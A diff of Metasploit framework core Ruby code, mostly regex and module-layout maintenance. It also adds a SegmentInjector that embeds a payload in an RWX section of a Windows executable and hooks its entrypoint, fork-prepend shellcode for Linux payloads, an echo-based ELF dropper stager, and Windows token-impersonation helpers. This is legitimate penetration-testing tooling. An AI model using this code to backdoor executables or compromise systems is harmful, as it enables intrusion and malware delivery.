||||
addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/n)[1,2]
|
||||
addr_map[hname] = addr
|
||||
end
|
||||
|
||||
|
@ -5160,7 +5160,7 @@ class DBManager
|
|||
# HostName
|
||||
host.elements.each('ReportItem') do |item|
|
||||
next unless item.elements['pluginID'].text == "12053"
|
||||
addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/)[1]
|
||||
addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/n)[1]
|
||||
hname = host.elements['HostName'].text
|
||||
end
|
||||
addr ||= host.elements['HostName'].text
|
||||
|
@ -5855,7 +5855,7 @@ class DBManager
|
|||
|
||||
data.each_line do |line|
|
||||
next if line =~ /^#/
|
||||
next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/
|
||||
next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/n
|
||||
addr = $1
|
||||
next if bl.include? addr
|
||||
port = $2.to_i
|
||||
|
|
|
@ -20,7 +20,7 @@ class Export
|
|||
end
|
||||
|
||||
def myusername
|
||||
@username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/,"_")
|
||||
@username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/n,"_")
|
||||
end
|
||||
|
||||
# Hosts are always allowed. This is really just a stub.
|
||||
|
@ -115,7 +115,7 @@ class Export
|
|||
user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user
|
||||
pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : c.pass
|
||||
if pass != "<BLANK>"
|
||||
pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/m) ? c.pass : "<BLANK>"
|
||||
pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/nm) ? c.pass : "<BLANK>"
|
||||
end
|
||||
if pass == "<BLANK>"
|
||||
# Basically this is an error (maybe around [\x20-\x7e] in regex) above
|
||||
|
@ -206,7 +206,7 @@ class Export
|
|||
|
||||
report_file.write %Q|<?xml version="1.0" encoding="UTF-8"?>\n|
|
||||
report_file.write %Q|<MetasploitV4>\n|
|
||||
report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/,"_")}" product="framework"/>\n|
|
||||
report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/n,"_")}" product="framework"/>\n|
|
||||
|
||||
yield(:status, "start", "hosts") if block_given?
|
||||
report_file.write %Q|<hosts>\n|
|
||||
|
@ -352,7 +352,7 @@ class Export
|
|||
if value
|
||||
data = marshalize(value)
|
||||
data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding')
|
||||
data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/){ |x| "\\x%.2x" % x.unpack("C*")[0] }
|
||||
data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] }
|
||||
el << REXML::Text.new(data)
|
||||
end
|
||||
return el
|
||||
|
|
|
@ -0,0 +1,108 @@
|
|||
module Msf
|
||||
module Exe
|
||||
|
||||
require 'metasm'
|
||||
|
||||
class SegmentInjector
|
||||
|
||||
attr_accessor :payload
|
||||
attr_accessor :template
|
||||
attr_accessor :arch
|
||||
attr_accessor :buffer_register
|
||||
|
||||
def initialize(opts = {})
|
||||
@payload = opts[:payload]
|
||||
@template = opts[:template]
|
||||
@arch = opts[:arch] || :x86
|
||||
@buffer_register = opts[:buffer_register] || 'edx'
|
||||
unless %w{eax ecx edx ebx edi esi}.include?(@buffer_register.downcase)
|
||||
raise ArgumentError, ":buffer_register is not a real register"
|
||||
end
|
||||
end
|
||||
|
||||
def processor
|
||||
case @arch
|
||||
when :x86
|
||||
return Metasm::Ia32.new
|
||||
when :x64
|
||||
return Metasm::X86_64.new
|
||||
end
|
||||
end
|
||||
|
||||
def create_thread_stub
|
||||
<<-EOS
|
||||
hook_entrypoint:
|
||||
pushad
|
||||
push hook_libname
|
||||
call [iat_LoadLibraryA]
|
||||
push hook_funcname
|
||||
push eax
|
||||
call [iat_GetProcAddress]
|
||||
mov eax, [iat_CreateThread]
|
||||
lea edx, [thread_hook]
|
||||
push 0
|
||||
push 0
|
||||
push 0
|
||||
push edx
|
||||
push 0
|
||||
push 0
|
||||
call eax
|
||||
|
||||
popad
|
||||
jmp entrypoint
|
||||
|
||||
hook_libname db 'kernel32', 0
|
||||
hook_funcname db 'CreateThread', 0
|
||||
|
||||
thread_hook:
|
||||
lea #{buffer_register}, [thread_hook]
|
||||
add #{buffer_register}, 9
|
||||
EOS
|
||||
end
|
||||
|
||||
def payload_as_asm
|
||||
asm = ''
|
||||
@payload.each_byte do |byte|
|
||||
asm << "db " + sprintf("0x%02x", byte) + "\n"
|
||||
end
|
||||
return asm
|
||||
end
|
||||
|
||||
def payload_stub
|
||||
asm = create_thread_stub
|
||||
asm << payload_as_asm
|
||||
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||
shellcode.encoded
|
||||
end
|
||||
|
||||
def generate_pe
|
||||
# Copy our Template into a new PE
|
||||
pe_orig = Metasm::PE.decode_file(template)
|
||||
pe = pe_orig.mini_copy
|
||||
|
||||
# Copy the headers and exports
|
||||
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
|
||||
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
|
||||
pe.header.time = pe_orig.header.time
|
||||
|
||||
# Generate a new code section set to RWX with our payload in it
|
||||
s = Metasm::PE::Section.new
|
||||
s.name = '.text'
|
||||
s.encoded = payload_stub
|
||||
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
|
||||
|
||||
# Tell our section where the original entrypoint was
|
||||
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
|
||||
pe.sections << s
|
||||
pe.invalidate_header
|
||||
|
||||
# Change the entrypoint to our new section
|
||||
pe.optheader.entrypoint = 'hook_entrypoint'
|
||||
pe.cpu = pe_orig.cpu
|
||||
|
||||
pe.encode_string
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -135,11 +135,11 @@ module Exploit::Remote::Arkeia
|
|||
end
|
||||
|
||||
# Store the version information
|
||||
mver = resp.match(/IVERSION\x00([^\x00]+)/)
|
||||
mver = resp.match(/IVERSION\x00([^\x00]+)/n)
|
||||
info['Version'] = mver[1] if mver
|
||||
|
||||
# Store the hostname information
|
||||
mver = resp.match(/ISERVNAME\x00([^\x00]+)/)
|
||||
mver = resp.match(/ISERVNAME\x00([^\x00]+)/n)
|
||||
info['Hostname'] = mver[1] if mver
|
||||
|
||||
# Begin the ARKADMIN_GET_MACHINE_INFO request
|
||||
|
@ -182,7 +182,7 @@ module Exploit::Remote::Arkeia
|
|||
|
||||
# Finally, parse out and store all the parameters
|
||||
resp.split("TPVALUE\x00").each { |x|
|
||||
minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/)
|
||||
minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/n)
|
||||
if (minf)
|
||||
info[ minf[2] ] = minf[1]
|
||||
end
|
||||
|
|
|
@ -0,0 +1,34 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/exploit/cmdstager'
|
||||
|
||||
module Msf
|
||||
|
||||
####
|
||||
# Allows for staging cmd to arbitrary payloads through the CmdStagerEcho.
|
||||
#
|
||||
# This stager uses the echo's "-e" flag, that enable interpretation of
|
||||
# backslash escapes, to drop an ELF with the payload embedded to disk.
|
||||
# The "-e" flag is usually available on linux environments. This stager
|
||||
# has been found useful on restricted linux based embedded devices, and
|
||||
# should work on either:
|
||||
# * Systems with busy box's echo binary somewhere in $PATH.
|
||||
# * Systems with bash/zsh whose echo builtin supports -en flags.
|
||||
# * Systems with GNU coreutils echo which supports -en flags.
|
||||
#
|
||||
####
|
||||
|
||||
module Exploit::CmdStagerEcho
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
# Initializes a CmdStagerEcho instance for the supplied payload
|
||||
#
|
||||
# @param exe [String] The payload embedded into an ELF
|
||||
# @return [Rex::Exploitation::CmdStagerEcho] Stager instance
|
||||
def create_stager(exe)
|
||||
Rex::Exploitation::CmdStagerEcho.new(exe)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -20,10 +20,16 @@ module Exploit::FileDropper
|
|||
# @return [void]
|
||||
#
|
||||
def on_new_session(session)
|
||||
super
|
||||
|
||||
if session.type == "meterpreter"
|
||||
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
|
||||
end
|
||||
|
||||
if not @dropped_files or @dropped_files.empty?
|
||||
return true
|
||||
end
|
||||
|
||||
@dropped_files.delete_if do |file|
|
||||
win_file = file.gsub("/", "\\\\")
|
||||
if session.type == "meterpreter"
|
||||
|
@ -58,8 +64,6 @@ module Exploit::FileDropper
|
|||
true
|
||||
end
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -463,8 +463,8 @@ module Exploit::Remote::HttpClient
|
|||
end
|
||||
|
||||
if datastore['RPORT'].to_i == 3790
|
||||
if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/
|
||||
if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/
|
||||
if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/n
|
||||
if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/n
|
||||
extras << "Metasploit"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,9 +1,5 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/post_mixin'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
|
||||
###
|
||||
#
|
||||
|
@ -13,16 +9,14 @@ class Exploit
|
|||
# network communication.
|
||||
#
|
||||
###
|
||||
class Local < Exploit
|
||||
include PostMixin
|
||||
class Msf::Exploit::Local < Msf::Exploit
|
||||
require 'msf/core/post_mixin'
|
||||
include Msf::PostMixin
|
||||
|
||||
#
|
||||
# Returns the fact that this exploit is a local exploit.
|
||||
#
|
||||
def exploit_type
|
||||
Exploit::Type::Local
|
||||
Msf::Exploit::Type::Local
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -25,6 +25,7 @@ require 'msf/core/exploit/cmdstager_debug_write'
|
|||
require 'msf/core/exploit/cmdstager_debug_asm'
|
||||
require 'msf/core/exploit/cmdstager_tftp'
|
||||
require 'msf/core/exploit/cmdstager_bourne'
|
||||
require 'msf/core/exploit/cmdstager_echo'
|
||||
|
||||
# Protocol
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
|
|
@ -694,9 +694,10 @@ module Exploit::Remote::MSSQL
|
|||
if(info[:rows] and not info[:rows].empty?)
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Indent' => 1,
|
||||
'Header' => "",
|
||||
'Columns' => info[:colnames]
|
||||
'Indent' => 1,
|
||||
'Header' => "",
|
||||
'Columns' => info[:colnames],
|
||||
'SortIndex' => -1
|
||||
)
|
||||
|
||||
info[:rows].each do |row|
|
||||
|
|
|
@ -110,9 +110,9 @@ module Exploit::Remote::MYSQL
|
|||
end
|
||||
|
||||
if plugin_res.respond_to? :split
|
||||
target_path = plugin_res.split(/[\x5c\x2f]+/).join("/") << "/"
|
||||
target_path = plugin_res.split(/[\x5c\x2f]+/n).join("/") << "/"
|
||||
elsif base_res.respond_to? :split
|
||||
target_path = base_res.split(/[\x5c\x2f]+/).join("/") << "/bin/"
|
||||
target_path = base_res.split(/[\x5c\x2f]+/n).join("/") << "/bin/"
|
||||
else
|
||||
print_error "Cannot determine the plugin directory."
|
||||
return false
|
||||
|
@ -123,7 +123,7 @@ module Exploit::Remote::MYSQL
|
|||
print_status "Checking for temp directory..."
|
||||
res = mysql_get_variable("@@tmpdir")
|
||||
if res.respond_to? :split
|
||||
target_path = res.split(/[\x5c\x2f]+/).join("/") << "/"
|
||||
target_path = res.split(/[\x5c\x2f]+/n).join("/") << "/"
|
||||
else
|
||||
print_error "Cannot determine the temp directory, exiting."
|
||||
return false
|
||||
|
|
|
@ -11,8 +11,6 @@ module Msf
|
|||
#
|
||||
# written by corelanc0d3r <peter.ve [at] corelan.be>
|
||||
#
|
||||
# Version: $Revision$
|
||||
#
|
||||
###
|
||||
module Exploit::Omelet
|
||||
|
||||
|
|
|
@ -195,7 +195,7 @@ module Exploit::Remote::RealPort
|
|||
# Send negotiate request
|
||||
sock.put(pkt2)
|
||||
res = sock.get_once(-1, 5)
|
||||
if res.to_s =~ /^\xff/
|
||||
if res.to_s =~ /^\xff/n
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
||||
return :closed
|
||||
end
|
||||
|
@ -221,7 +221,7 @@ module Exploit::Remote::RealPort
|
|||
sock.put(pkt3)
|
||||
res = sock.get_once(-1, 5)
|
||||
|
||||
if res.to_s =~ /^\xff/
|
||||
if res.to_s =~ /^\xff/n
|
||||
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
|
||||
return :closed
|
||||
end
|
||||
|
|
|
@ -645,7 +645,7 @@ module Exploit::Remote::SMB
|
|||
buff << " FP: #{line}\n"
|
||||
end
|
||||
|
||||
prov.split(/\x00\x00+/).each do |line|
|
||||
prov.split(/\x00\x00+/n).each do |line|
|
||||
line.gsub!("\x00",'')
|
||||
line.strip!
|
||||
next if line.length < 6
|
||||
|
@ -755,8 +755,8 @@ module Exploit::Remote::SMBServer
|
|||
if (pkt_nbs.v['Type'] == 0x81)
|
||||
# Accept any name they happen to send
|
||||
|
||||
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/, '')
|
||||
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/, '')
|
||||
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '')
|
||||
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '')
|
||||
|
||||
smb[:nbdst] = host_dst
|
||||
smb[:nbsrc] = host_src
|
||||
|
|
|
@ -104,6 +104,7 @@ class Module
|
|||
require 'msf/core/module/target'
|
||||
require 'msf/core/module/auxiliary_action'
|
||||
require 'msf/core/module/has_actions'
|
||||
require 'msf/core/module/deprecated'
|
||||
|
||||
#
|
||||
# Creates an instance of an abstract module using the supplied information
|
||||
|
|
|
@ -336,9 +336,9 @@ class Payload < Msf::Module
|
|||
# Check to see if the value is a hex string. If so, convert
|
||||
# it.
|
||||
if val.kind_of?(String)
|
||||
if val =~ /^\\x/
|
||||
val = [ val.gsub(/\\x/, '') ].pack("H*").unpack(pack)[0]
|
||||
elsif val =~ /^0x/
|
||||
if val =~ /^\\x/n
|
||||
val = [ val.gsub(/\\x/n, '') ].pack("H*").unpack(pack)[0]
|
||||
elsif val =~ /^0x/n
|
||||
val = val.hex
|
||||
end
|
||||
end
|
||||
|
|
|
@ -19,6 +19,13 @@ module Msf::Payload::Linux
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptBool.new('PrependFork',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes: if (fork()) { exit(0); }",
|
||||
"false"
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetresuid',
|
||||
[
|
||||
false,
|
||||
|
@ -97,6 +104,17 @@ module Msf::Payload::Linux
|
|||
|
||||
# Prepend
|
||||
|
||||
if (datastore['PrependFork'])
|
||||
pre << "\x6a\x02" +# pushb $0x2 #
|
||||
"\x58" +# popl %eax #
|
||||
"\xcd\x80" +# int $0x80 ; fork #
|
||||
"\x85\xc0" +# test %eax,%eax #
|
||||
"\x74\x06" +# jz 0xf #
|
||||
"\x31\xc0" +# xor %eax,%eax #
|
||||
"\xb0\x01" +# movb $0x1,%al ; exit #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x31\xc9" +# xorl %ecx,%ecx #
|
||||
|
@ -197,10 +215,8 @@ module Msf::Payload::Linux
|
|||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Handle all Power/CBEA code here
|
||||
if (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
|
||||
elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
|
||||
|
||||
# Prepend
|
||||
|
||||
|
@ -277,9 +293,21 @@ module Msf::Payload::Linux
|
|||
"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
|
||||
"\x44\xff\xff\x02" # sc #
|
||||
end
|
||||
end
|
||||
|
||||
if (test_arch.include?(ARCH_X86_64))
|
||||
elsif (test_arch.include?(ARCH_X86_64))
|
||||
|
||||
if (datastore['PrependFork'])
|
||||
# if (fork()) { exit(0); }
|
||||
pre << "\x6a\x39" # push 57 ; __NR_fork #
|
||||
pre << "\x58" # pop rax #
|
||||
pre << "\x0f\x05" # syscall #
|
||||
pre << "\x48\x85\xc0" # test rax,rax #
|
||||
pre << "\x74\x08" # jz 0x08 #
|
||||
pre << "\x48\x31\xff" # xor rdi,rdi #
|
||||
pre << "\x6a\x3c" # push 60 ; __NR_exit #
|
||||
pre << "\x58" # pop rax #
|
||||
pre << "\x0f\x05" # syscall #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
|
@ -389,8 +417,8 @@ module Msf::Payload::Linux
|
|||
# Append exit(0)
|
||||
if (datastore['AppendExit'])
|
||||
app << "\x48\x31\xff" # xor rdi,rdi #
|
||||
pre << "\x6a\x3c" # push 0x53 #
|
||||
pre << "\x58" # pop rax #
|
||||
app << "\x6a\x3c" # push 0x3c #
|
||||
app << "\x58" # pop rax #
|
||||
app << "\x0f\x05" # syscall #
|
||||
end
|
||||
end
|
||||
|
|
|
@ -14,7 +14,6 @@ module Payload::Osx::BundleInject
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Mac OS X Inject Mach-O Bundle',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a custom Mach-O bundle into the exploited process',
|
||||
'Author' =>
|
||||
[
|
||||
|
|
|
@ -12,9 +12,21 @@ require 'msf/core'
|
|||
module Msf::Payload::Windows
|
||||
|
||||
require 'msf/core/payload/windows/prepend_migrate'
|
||||
|
||||
# Provides the #prepends method
|
||||
# XXX: For some unfathomable reason, the order of requires here is
|
||||
# important. If this include happens after require'ing the files
|
||||
# below, it causes the windows/exec payload (and probably others) to
|
||||
# somehow not have PrependMigrate despite having Payload::Windows,
|
||||
# which leads to a NoMethodError on #prepends
|
||||
include Msf::Payload::Windows::PrependMigrate
|
||||
|
||||
require 'msf/core/payload/windows/dllinject'
|
||||
require 'msf/core/payload/windows/exec'
|
||||
require 'msf/core/payload/windows/loadlibrary'
|
||||
require 'msf/core/payload/windows/reflectivedllinject'
|
||||
require 'msf/core/payload/windows/x64/reflectivedllinject'
|
||||
|
||||
#
|
||||
# ROR hash associations for some of the exit technique routines.
|
||||
#
|
||||
|
|
|
@ -16,7 +16,6 @@ module Payload::Windows::DllInject
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Inject DLL',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a custom DLL into the exploited process',
|
||||
'Author' =>
|
||||
[
|
||||
|
|
|
@ -16,7 +16,6 @@ module Payload::Windows::Exec
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Execute Command',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Execute an arbitrary command',
|
||||
'Author' => [ 'vlad902', 'sf' ],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -16,7 +16,6 @@ module Payload::Windows::LoadLibrary
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows LoadLibrary Path',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Load an arbitrary library path',
|
||||
'Author' => [ 'sf', 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Reflective DLL Injection',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a DLL via a reflective loader',
|
||||
'Author' => [ 'sf' ],
|
||||
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
|
||||
|
|
|
@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject_x64
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Reflective DLL Injection',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a DLL via a reflective loader',
|
||||
'Author' => [ 'sf' ],
|
||||
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
|
||||
|
|
|
@ -1,24 +1,31 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/post_mixin'
|
||||
|
||||
module Msf
|
||||
|
||||
#
|
||||
# A Post-exploitation module
|
||||
#
|
||||
#
|
||||
class Post < Msf::Module
|
||||
include PostMixin
|
||||
class Msf::Post < Msf::Module
|
||||
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post_mixin'
|
||||
|
||||
require 'msf/core/post/file'
|
||||
|
||||
require 'msf/core/post/linux'
|
||||
require 'msf/core/post/osx'
|
||||
require 'msf/core/post/solaris'
|
||||
require 'msf/core/post/unix'
|
||||
require 'msf/core/post/windows'
|
||||
|
||||
include Msf::PostMixin
|
||||
|
||||
def setup; end
|
||||
|
||||
def type
|
||||
MODULE_POST
|
||||
Msf::MODULE_POST
|
||||
end
|
||||
|
||||
def self.type
|
||||
MODULE_POST
|
||||
Msf::MODULE_POST
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -39,6 +46,3 @@ class Post < Msf::Module
|
|||
mod
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -1,12 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/post/file'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
|
||||
module Common
|
||||
|
||||
module Msf::Post::Common
|
||||
|
||||
#
|
||||
# Checks if the remote system has a process with ID +pid+
|
||||
|
@ -121,5 +115,3 @@ module Common
|
|||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,4 @@
|
|||
module Msf::Post::Linux
|
||||
require 'msf/core/post/linux/priv'
|
||||
require 'msf/core/post/linux/system'
|
||||
end
|
|
@ -0,0 +1,5 @@
|
|||
|
||||
module Msf::Post::OSX
|
||||
require 'msf/core/post/osx/system'
|
||||
require 'msf/core/post/osx/ruby_dl'
|
||||
end
|
|
@ -1,11 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module OSX
|
||||
module System
|
||||
module Msf::Post::OSX::System
|
||||
include ::Msf::Post::Common
|
||||
include ::Msf::Post::File
|
||||
|
||||
|
@ -108,7 +103,4 @@ module System
|
|||
end
|
||||
return groups
|
||||
end
|
||||
end # System
|
||||
end # OSX
|
||||
end # Post
|
||||
end # Msf
|
||||
end
|
||||
|
|
|
@ -0,0 +1,4 @@
|
|||
module Msf::Post::Solaris
|
||||
require 'msf/core/post/solaris/priv'
|
||||
require 'msf/core/post/solaris/system'
|
||||
end
|
|
@ -1,8 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Unix
|
||||
module Msf::Post::Unix
|
||||
|
||||
#
|
||||
# Returns an array of hashes each representing a user
|
||||
|
@ -83,6 +81,3 @@ module Unix
|
|||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,15 @@
|
|||
|
||||
module Msf::Post::Windows
|
||||
require 'msf/core/post/windows/accounts'
|
||||
require 'msf/core/post/windows/cli_parse'
|
||||
require 'msf/core/post/windows/eventlog'
|
||||
require 'msf/core/post/windows/file_info'
|
||||
require 'msf/core/post/windows/powershell'
|
||||
require 'msf/core/post/windows/priv'
|
||||
require 'msf/core/post/windows/process'
|
||||
require 'msf/core/post/windows/railgun'
|
||||
require 'msf/core/post/windows/registry'
|
||||
require 'msf/core/post/windows/services'
|
||||
require 'msf/core/post/windows/shadowcopy'
|
||||
require 'msf/core/post/windows/user_profiles'
|
||||
end
|
|
@ -177,6 +177,71 @@ module Accounts
|
|||
:integrity_label
|
||||
][enum_value - 1]
|
||||
end
|
||||
|
||||
# Gets an impersonation token from the primary token.
|
||||
#
|
||||
# @return [Fixnum] the impersonate token handle identifier if success, nil if
|
||||
# fails
|
||||
def get_imperstoken
|
||||
adv = session.railgun.advapi32
|
||||
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
|
||||
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
|
||||
tok_all << " | TOKEN_ADJUST_DEFAULT"
|
||||
|
||||
pid = session.sys.process.open.pid
|
||||
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
|
||||
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
|
||||
if it["return"] #if it fails return 0 for error handling
|
||||
return it["DuplicateTokenHandle"]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Gets the permissions granted from the Security Descriptor of a directory
|
||||
# to an access token.
|
||||
#
|
||||
# @param [String] dir the directory path
|
||||
# @param [Fixnum] token the access token
|
||||
# @return [String, nil] a String describing the permissions or nil
|
||||
def check_dir_perms(dir, token)
|
||||
adv = session.railgun.advapi32
|
||||
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
||||
result = ""
|
||||
|
||||
#define generic mapping structure
|
||||
gen_map = [0,0,0,0]
|
||||
gen_map = gen_map.pack("L")
|
||||
buffer_size = 500
|
||||
|
||||
#get Security Descriptor for the directory
|
||||
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
|
||||
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
|
||||
sd = f["pSecurityDescriptor"]
|
||||
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
|
||||
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
||||
elsif (f['GetLastError'] == 2)
|
||||
vprint_error("The system cannot find the file specified: #{dir}")
|
||||
return nil
|
||||
else
|
||||
vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
|
||||
return nil
|
||||
end
|
||||
|
||||
#check for write access, called once to get buffer size
|
||||
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
|
||||
len = a["PrivilegeSetLength"]
|
||||
|
||||
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
||||
if !r["return"] then return nil end
|
||||
if r["GrantedAccess"] > 0 then result << "R" end
|
||||
|
||||
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||
if !w["return"] then return nil end
|
||||
if w["GrantedAccess"] > 0 then result << "W" end
|
||||
end
|
||||
|
||||
end # Accounts
|
||||
end # Windows
|
||||
end # Post
|
||||
|
|
|
@ -2,12 +2,7 @@
|
|||
|
||||
require 'msf/core/post/windows/accounts'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Windows
|
||||
|
||||
module Priv
|
||||
|
||||
module Msf::Post::Windows::Priv
|
||||
include ::Msf::Post::Windows::Accounts
|
||||
|
||||
#
|
||||
|
@ -90,7 +85,3 @@ module Priv
|
|||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -2,22 +2,21 @@
|
|||
require 'msf/core'
|
||||
require 'msf/core/module'
|
||||
|
||||
module Msf
|
||||
|
||||
#
|
||||
# A mixin used for providing Modules with post-exploitation options and helper methods
|
||||
#
|
||||
module PostMixin
|
||||
module Msf::PostMixin
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
include Msf::Module::HasActions
|
||||
include Msf::Post::Common
|
||||
|
||||
def initialize(info={})
|
||||
super
|
||||
|
||||
register_options( [
|
||||
OptInt.new('SESSION', [ true, "The session to run this module on." ])
|
||||
